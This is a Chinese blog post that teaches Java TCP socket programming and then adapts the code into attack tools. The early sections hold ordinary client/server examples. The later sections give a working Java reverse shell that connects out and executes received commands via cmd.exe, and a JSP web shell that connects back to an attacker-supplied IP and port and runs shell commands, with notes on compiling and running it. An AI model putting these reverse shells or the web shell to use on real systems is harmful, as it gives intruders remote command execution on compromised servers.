Java 网络编程
前言
学了点java的网络编程,看看能干点啥。
TCP通信
对于服务端server
- 本地监听端口,创建socket对象,即
new ServerSocket()
- 接收客户端对象,即调用
accept()
方法 - 获取网络字节输入流,即
socket.getInputStream()
- 读取客户端发送的数据,即调用
read()
方法 - 关闭资源,即
socket.close()
对于客户端client
- 先socket对象,即
new Socket()
- 然后获取网络字节输出流,即
socket.getOutputStream()
- 再给服务端发送数据,即
outputStream.write()
- 最后关闭资源,即
socket.close()
客户端代码 TcpClient.java
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
/**
* @author cseroad
*/
public class TcpTest {
public void client() throws IOException {
//1.创建客户端
Socket socket = new Socket("127.0.0.1",9090);
//2. 使用socket对象的getoutStream()获取网络字节输出流
OutputStream outputStream = socket.getOutputStream();
//3. 输出流对象的write方法,给服务端发送数据
outputStream.write("hello".getBytes("UTF-8"));
//4. 关闭资源
outputStream.close();
socket.close();
}
}
server端代码 TcpServer.java
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
/**
* @author cseroad
*/
public class TcpTest {
public void server() throws IOException {
// 1. 创建服务器端的ServerSocket
ServerSocket serverSocket = new ServerSocket(9090);
// 2. 调用accept()表示接收来自于客户端的socket
Socket accept = serverSocket.accept();
//3.获取输入流
InputStream inputStream = accept.getInputStream();
//4. 将接收到的byte字节读取到字节数组缓冲区
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[5];
int length;
while ((length = inputStream.read(bytes))!= -1){
byteArrayOutputStream.write(bytes,0,length);
}
//4. 字节数组缓冲区再转化为字符串
System.out.println(byteArrayOutputStream.toString());
// 5. 从里到外关闭资源
byteArrayOutputStream.close();
inputStream.close();
accept.close();
serverSocket.close();
}
}
注意:
创建new ByteArrayOutputStream()
字节数组缓冲区,将读取的数据写入该缓冲区,再转化为String字符串并输出。
以上代码全部的异常都外抛了,我们进一步优化该代码并使用Scanner类作为用户自定义输入的内容进行发送。
TcpClient.java
import org.junit.Test;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Scanner;
/**
* @author cseroad
*/
public class TcpTest {
public static void main(String[] args) {
TcpTest tcpTest = new TcpTest();
tcpTest.client();
}
@Test
public void client() {
Socket socket = null;
OutputStream outputStream = null;
try {
//1.创建客户端
socket = new Socket("127.0.0.1",9090);
//2. 使用socket对象的getoutStream()获取网络字节输出流
outputStream = socket.getOutputStream();
//3. 创建scanner类获取用户的自定义输入,给服务端发送数据
Scanner message = new Scanner(System.in);
while (message.hasNext()){
String words = message.nextLine();
outputStream.write(words.getBytes("UTF-8"));
System.out.println("发送消息: " + words);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
//4. 关闭资源
if(outputStream != null){
try {
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (socket != null){
try {
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
TcpServer.java代码为
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
/**
* @author cseroad
*/
public class ServerTest {
@Test
public void server() {
ServerSocket serverSocket = null;
Socket accept = null;
InputStream inputStream = null;
ByteArrayOutputStream byteArrayOutputStream = null;
try {
// 1. 创建服务器端的ServerSocket
serverSocket = new ServerSocket(9090);
// 2. 调用accept()表示接收来自于客户端的socket
accept = serverSocket.accept();
//3.获取输入流
inputStream = accept.getInputStream();
//4. 将接收到的byte字节读取到字节数组缓冲区
byteArrayOutputStream = new ByteArrayOutputStream();
while (true){
byte[] bytes = new byte[1024];
int length = inputStream.read(bytes);
byteArrayOutputStream.write(bytes,0,length);
System.out.println("接受消息:"+byteArrayOutputStream.toString());
}
//4. 字节数组缓冲区再转化为字符串
} catch (IOException e) {
e.printStackTrace();
} finally {
if(byteArrayOutputStream != null){
try {
byteArrayOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (inputStream != null){
try {
inputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (accept != null){
try {
accept.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (serverSocket != null){
try {
serverSocket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
效果如下:
image.png image.png还可以再添加exit退出的指令。
TcpClient.java
package com.atguigu.test;
import org.junit.Test;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Scanner;
/**
* @author cseroad
*/
public class TcpTest {
public static void main(String[] args) {
TcpTest tcpTest = new TcpTest();
tcpTest.client();
}
@Test
public void client() {
Socket socket = null;
OutputStream outputStream = null;
try {
//1.创建客户端
socket = new Socket("127.0.0.1",9090);
//2. 使用socket对象的getoutStream()获取网络字节输出流
outputStream = socket.getOutputStream();
//3. 创建scanner类获取用户的自定义输入,给服务端发送数据
System.out.println("请输入指令:");
Scanner message = new Scanner(System.in);
while (message.hasNext()){
String words = message.nextLine();
if("exit".equals(words)) {
break;
}
outputStream.write(words.getBytes("UTF-8"));
System.out.println("发送消息: " + words);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
//4. 关闭资源
if(outputStream != null){
try {
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (socket != null){
try {
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
实现java反弹cmd
修改代码为反弹shell,这里使用经典的runtime类。用来实现client客户端和nc连用。
TcpClient.java
package javaweb.com.bili;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class TcpClient {
public static void main(String[] args) throws Exception {
Socket client = new Socket("127.0.0.1", 9900);
InputStream getinputStream = client.getInputStream();
BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
OutputStream outputStream = client.getOutputStream();
BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
bufOut.write(client.getInetAddress().getLocalHost()+"已成功连接");
bufOut.write("\r\n");
while (true) {
bufOut.write("shell:");
bufOut.newLine();
bufOut.flush();
String line = input.readLine();
if("exit".equals(line)) {
break;
}
System.out.println("接收命令:" + line);
CmdExec(line,outputStream);
}
}
public static void CmdExec(String cmd,OutputStream outputStream) {
try {
Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);
p.getOutputStream().close();//关闭输出流
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input,"GBK");
BufferedReader br = new BufferedReader(ins);
String lines;
String cmdresult;
while((lines = br.readLine())!=null) {
cmdresult = lines+"\r\n";
outputStream.write(cmdresult.getBytes("GBK"));
}
}
catch (IOException e) {
e.printStackTrace();
}
}
}
image.png
某些时候无法执行echo、dir等语句,需要添加cmd.exe /c
Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);
测试还存在一个问题,命令执行powershell的时候,程序没有正常关闭,处于挂起状态。
添加该语句即可。
p.getOutputStream().close();//关闭输出流
没有IDE的情况下,javac先编译该TcpCilent.java文件,再java命令执行该脚本。
该java文件需要先删除package包名不会出现"找不到主函数",以utf8编码格式编译不会出现编译异常。
javac -encoding utf8 TcpClient.java
java TcpClient
实现jsp反弹cmd
编写了java反弹cmd,稍作修改就可以。
<%@ page language="java" contentType="text/html;charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.net.Socket"%>
<pre>
<%
String ip = request.getParameter("ip");
String port = request.getParameter("port");
out.println(System.getProperty("os.name").toLowerCase());
if(ip != null && port != null){
try {
int ports = Integer.parseInt(port);
Socket client = new Socket(ip, ports);
InputStream getinputStream = client.getInputStream();
BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
OutputStream outputStream = client.getOutputStream();
BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
bufOut.write(client.getInetAddress().getLocalHost() + "已成功连接");
bufOut.write("\r\n");
while (true) {
bufOut.write("shell:");
bufOut.newLine();
bufOut.flush();
String cmd = input.readLine();
if ("exit".equals(cmd)) {
break;
}
//out.println("接收命令:" + cmd);
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
//windows
//Process p = Runtime.getRuntime().exec(new String[]{"sh","-c",cmd});
//linux
InputStream inputer = p.getInputStream();
InputStreamReader ins = new InputStreamReader(inputer, "UTF-8");
BufferedReader br = new BufferedReader(ins);
String lines;
String cmdresult;
while ((lines = br.readLine()) != null) {
cmdresult = lines + "\r\n";
outputStream.write(cmdresult.getBytes("UTF-8"));
}
p.getOutputStream().close();
}
}catch (IOException e) {
e.printStackTrace();
}
}
else{
out.println("no ip and port Parameter !");
}
%>
</pre>
注意windows和linux传入runtime的参数值不一样,所以最好先判断是windows系统还是linux系统。
效果如下
再相应传入ip和端口
image.png总结
代码还是不够规范,还需要改进。
参考资料
https://blog.csdn.net/wzy_1988/article/details/17131381
https://wiki.silic.wiki/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB:jsp%E5%AE%9E%E7%8E%B0socket%E5%8F%8D%E5%BC%B9shell
https://www.runoob.com/java/net-serversocket-socket.html